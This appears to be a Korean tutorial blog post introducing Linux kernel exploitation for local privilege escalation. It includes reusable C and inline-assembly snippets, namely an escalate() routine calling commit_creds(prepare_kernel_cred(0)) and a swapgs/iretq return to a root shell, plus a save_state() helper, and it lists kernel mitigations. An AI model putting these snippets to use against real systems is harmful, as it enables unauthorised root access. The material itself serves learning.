Step into kernel
Introduction
커널 입문용 지식들 및 자주 쓰일 코드 조각들을 정리합니다.
Kernel Exploit?
현재 필자는 커널개발 및 OS를 아직 공부중이기에 서술 대상을 커널 익스플로잇 으로 한정한다.
커널 익스플로잇은 커널의 취약점을 이용해서 LPE(Local Privilege Escalation)를 달성하는 공격기법이다. 즉, root의 권한을 획득하는 것이 목적이다.
결론부터 말하면 commit_creds(prepare_kernel_cred(0))
를 호출하는 것이 목표이다.
위 함수들은 커널 내부 함수로, commit_creds
는 인자로 받은 cred
구조체를 현재 프로세스에 할당하는 함수이고, prepare_kernel_cred(0)
는 uid
, gid
등이 모두 0인 , 즉 root의 cred
구조체를 생성하는 함수이다.
따라서 commit_creds(prepare_kernel_cred(0))
를 호출하면 현재 프로세스의 권한이 root로 바뀌게 된다.
Basic Knowledge
Returning to Userland
커널과 유저랜드는 분리되어있다.
유저랜드에서 syscall, interrupt 등을 통해 커널로 진입하면 context switching이 발생하며, 유저랜드의 register state, page table 등이 커널의 것으로 바뀌게 된다.
커널에서 다시 유저랜드로 돌아갈 때는 iretq
명령어를 통해 context switching이 다시 발생한다.
유저랜드의 stack과 커널의 stack은 서로 다를 것이기에 유저랜드에서 커널로 진입할 때는 관련된 레지스터들을 저장해두고 이후 다시 유저랜드로 돌아갈 때 복원해주어야 한다.
iretq
는 여기서 커널에서 유저랜드로 돌아갈 때 관련된 레지스터들을 복원해주는 역할을 한다.
void escalate()
{
commit_creds(prepare_kernel_cred(0));
asm volatile(
"mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"sub rax, 8;" /* stack balance */
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"lea rax, getShell;"
"push rax;"
"swapgs;"
"iretq;");
}
iretq
를 호출하기 위해선 위와 같은 stack 구조가 필요하다.
user_ss
, user_sp
, user_rflags
, user_cs
는 유저랜드의 ss
, rsp
, rflags
, cs
레지스터 값을 저장한 변수들이다.
getShell
은 root 권한을 획득한 후 실행할 함수이다.
swapgs
명령어는 gs
레지스터를 유저랜드와 커널랜드에서 서로 바꿔주는 역할을 한다.
// swapgs;iretq 전 stack
+-------------------+
| user_ss |
| user_sp |
| user_rflags |
| user_cs |
| ret addr |
+-------------------+----------- stack top
그렇다면, 아래와 같은 save_state 함수를 main함수 초기에 호출하여 유저랜드의 레지스터 상태를 저장해두고
이후 escalate
같은 함수를 호출할 때 iretq
를 통해 유저랜드로 복귀하면 된다.
unsigned long user_cs, user_ss, user_sp, user_rflags;
void save_state(void)
{
asm volatile (
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2;\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
:
: "memory");
printf("%lx %lx %lx %lx\n", user_cs, user_ss, user_rflags, user_sp);
}
Note:
asm
in C
asm("assembly code" : output operands : input operands : clobbered registers/memory );
Calling convention in the kernel
Modern Linux kernels (32-bit variants) pass the first 3 parameters in registers (EAX, EDX, ECX, in that order)
Depending on the kernel this convention is specified as an attribute modifier on the functions using attribute(regparm(3))
이 부분은 확실하지 않아서 이후에 작성할 예정이다.
Kernel Protection
커널 익스플로잇을 어렵게 만드는 여러가지 보호기법들이 존재한다.
- KASLR
- SMEP
- SMAP
- KPTI
위 내용들로 자료를 찾아보자.